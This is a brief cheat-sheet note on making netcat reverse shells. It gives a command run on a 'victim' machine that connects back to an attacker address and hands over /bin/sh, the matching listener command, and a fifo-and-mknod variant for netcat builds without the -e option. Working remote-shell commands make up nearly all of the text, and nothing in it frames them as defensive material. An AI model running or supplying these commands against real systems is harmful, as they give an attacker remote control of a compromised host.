Netcat shells

Easiest way to make shell using netcat is to use -e option:

# server - on victim
nc 192.168.56.1 4444 -e /bin/sh

# Client
nc -nvlp 4444

What if netcat doesn’t have -e option?

We can use fifo files and mknod command and create reverse shell (it connects to us):

# First create fifo
mknod /tmp/backpipe p

# Then run payload
/bin/sh 0</tmp/backpipe | nc 192.168.56.1 4444 1>/tmp/backpipe

source 😼